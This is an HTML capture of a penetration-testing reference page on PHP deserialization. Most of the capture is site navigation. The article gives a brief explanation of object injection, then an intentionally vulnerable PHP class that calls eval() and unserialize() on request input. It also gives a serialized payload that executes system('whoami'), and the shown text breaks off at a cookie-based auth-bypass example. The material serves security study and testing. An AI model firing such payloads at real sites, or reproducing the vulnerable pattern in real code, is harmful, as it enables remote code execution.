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<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CORS Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" checked>
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
PHP Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#general-concept" class="md-nav__link">
<span class="md-ellipsis">
General concept
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#authentication-bypass" class="md-nav__link">
<span class="md-ellipsis">
Authentication bypass
</span>
</a>
<nav class="md-nav" aria-label="Authentication bypass">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#type-juggling" class="md-nav__link">
<span class="md-ellipsis">
Type juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#object-injection" class="md-nav__link">
<span class="md-ellipsis">
Object Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#finding-and-using-gadgets" class="md-nav__link">
<span class="md-ellipsis">
Finding and using gadgets
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#phar-deserialization" class="md-nav__link">
<span class="md-ellipsis">
Phar Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#real-world-examples" class="md-nav__link">
<span class="md-ellipsis">
Real world examples
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="../Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
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HTML Smuggling
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Hash Cracking
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Linux - Persistence
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Miscellaneous & Tricks
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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Reverse Shell Cheat Sheet
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Source Code Management & CI/CD Compromise
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Subdomains Enumeration
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Vulnerability Reports
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Windows - AMSI Bypass
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Windows - DPAPI
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Windows - Defenses
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Windows - Download and execute methods
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Windows - Mimikatz
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Windows - Persistence
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Windows - Privilege Escalation
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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NoSQL Injection
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OAuth Misconfiguration
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OAuth Misconfiguration
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OAuth Misconfiguration
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Open Redirect
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Open Redirect
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Open URL Redirection
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Prompt Injection
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Prompt Injection
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Prompt Injection
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Prototype Pollution
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Prototype Pollution
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Prototype Pollution
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Race Condition
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Race Condition
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Race Condition
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Request Smuggling
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Request Smuggling
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Request Smuggling
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SAML Injection
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SAML Injection
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SAML Injection
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SQL Injection
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SQL Injection
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SQL Injection
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Google BigQuery SQL Injection
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Cassandra Injection
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DB2 Injection
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Hibernate Query Language Injection
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MSSQL Injection
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MySQL Injection
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Oracle SQL Injection
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PostgreSQL injection
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SQLite Injection
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Server Side Include Injection
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Server Side Include Injection
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Server Side Include Injection
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<span class="md-ellipsis">
Server Side Request Forgery
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<span class="md-nav__icon md-icon"></span>
</label>
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Server Side Request Forgery
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<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
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Server-Side Request Forgery
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<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
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Server Side Template Injection
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Server Side Template Injection
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Tabnabbing
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Tabnabbing
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<li class="md-nav__item">
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Tabnabbing
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<span class="md-ellipsis">
Type Juggling
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
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Type Juggling
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
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Type Juggling
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Upload Insecure Files
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Upload Insecure Files
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<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
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Upload Insecure Files
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<span class="md-ellipsis">
CVE Ffmpeg HLS
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CVE Ffmpeg HLS
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FFmpeg HLS vulnerability
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Configuration Apache .htaccess
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Configuration Apache .htaccess
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.htaccess upload
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Configuration Busybox httpd.conf
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Configuration Busybox httpd.conf
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Configuration uwsgi.ini
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Configuration uwsgi.ini
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uWSGI configuration file
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Extension Flash
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Extension Flash
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Index
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<span class="md-ellipsis">
Extension PDF JS
</span>
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</label>
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<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
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<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
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</a>
</li>
</ul>
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</ul>
</nav>
</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
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<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
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Web Cache Deception
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Web Cache Deception
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Web Sockets
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Web Sockets
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<a href="../../Web%20Sockets/" class="md-nav__link">
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Web Sockets
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<span class="md-ellipsis">
XPATH Injection
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XPATH Injection
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XPATH Injection
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XSLT Injection
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XSLT Injection
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XSLT Injection
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XSS Injection
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XSS Injection
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Cross Site Scripting
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XSS in Angular and AngularJS
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XSS with Relative Path Overwrite - IE 8/9 and lower
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XXE Injection
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XXE Injection
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XML External Entity
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LEARNING AND SOCIALS
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<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
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Books
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Twitter
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Youtube
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template vuln
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<h1 id="php-deserialization">PHP Deserialization</h1>
<p>PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.</p>
<p>The following magic methods will help you for a PHP Object injection</p>
<ul>
<li><code>__wakeup()</code> when an object is unserialized.</li>
<li><code>__destruct()</code> when an object is deleted.</li>
<li><code>__toString()</code> when an object is converted to a string.</li>
</ul>
<p>Also you should check the <code>Wrapper Phar://</code> in <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar">File Inclusion</a> which use a PHP object injection.</p>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#general-concept">General concept</a></li>
<li><a href="#authentication-bypass">Authentication bypass</a></li>
<li><a href="#object-injection">Object Injection</a></li>
<li><a href="#finding-and-using-gadgets">Finding and using gadgets</a></li>
<li><a href="#phar-deserialization">Phar Deserialization</a></li>
<li><a href="#real-world-examples">Real world examples</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="general-concept">General concept</h2>
<p>Vulnerable code:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a> <span class="k">class</span> <span class="nc">PHPObjectInjection</span><span class="p">{</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a> <span class="k">public</span> <span class="nv">$inject</span><span class="p">;</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a> <span class="p">}</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">(){</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">inject</span><span class="p">)){</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a> <span class="k">eval</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">inject</span><span class="p">);</span>
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a> <span class="p">}</span>
<a id="__codelineno-0-10" name="__codelineno-0-10" href="#__codelineno-0-10"></a> <span class="p">}</span>
<a id="__codelineno-0-11" name="__codelineno-0-11" href="#__codelineno-0-11"></a> <span class="p">}</span>
<a id="__codelineno-0-12" name="__codelineno-0-12" href="#__codelineno-0-12"></a> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">&#39;r&#39;</span><span class="p">])){</span>
<a id="__codelineno-0-13" name="__codelineno-0-13" href="#__codelineno-0-13"></a> <span class="nv">$var1</span><span class="o">=</span><span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">&#39;r&#39;</span><span class="p">]);</span>
<a id="__codelineno-0-14" name="__codelineno-0-14" href="#__codelineno-0-14"></a> <span class="k">if</span><span class="p">(</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$var1</span><span class="p">)){</span>
<a id="__codelineno-0-15" name="__codelineno-0-15" href="#__codelineno-0-15"></a> <span class="k">echo</span> <span class="s2">&quot;&lt;br/&gt;&quot;</span><span class="o">.</span><span class="nv">$var1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="s2">&quot; - &quot;</span><span class="o">.</span><span class="nv">$var1</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<a id="__codelineno-0-16" name="__codelineno-0-16" href="#__codelineno-0-16"></a> <span class="p">}</span>
<a id="__codelineno-0-17" name="__codelineno-0-17" href="#__codelineno-0-17"></a> <span class="p">}</span>
<a id="__codelineno-0-18" name="__codelineno-0-18" href="#__codelineno-0-18"></a> <span class="k">else</span><span class="p">{</span>
<a id="__codelineno-0-19" name="__codelineno-0-19" href="#__codelineno-0-19"></a> <span class="k">echo</span> <span class="s2">&quot;&quot;</span><span class="p">;</span> <span class="c1"># nothing happens here</span>
<a id="__codelineno-0-20" name="__codelineno-0-20" href="#__codelineno-0-20"></a> <span class="p">}</span>
<a id="__codelineno-0-21" name="__codelineno-0-21" href="#__codelineno-0-21"></a><span class="cp">?&gt;</span>
</code></pre></div>
<p>Craft a payload using existing code inside the application.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="x"># Basic serialized data</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="x">a:2:{i:0;s:4:&quot;XVWA&quot;;i:1;s:33:&quot;Xtreme Vulnerable Web Application&quot;;}</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="x"># Command execution</span>
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="x">string(68) &quot;O:18:&quot;PHPObjectInjection&quot;:1:{s:6:&quot;inject&quot;;s:17:&quot;system(&#39;whoami&#39;);&quot;;}&quot;</span>
</code></pre></div>
<h2 id="authentication-bypass">Authentication bypass</h2>
<h3 id="type-juggling">Type juggling</h3>
<p>Vulnerable code:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="nv">$data</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">&#39;auth&#39;</span><span class="p">]);</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a>
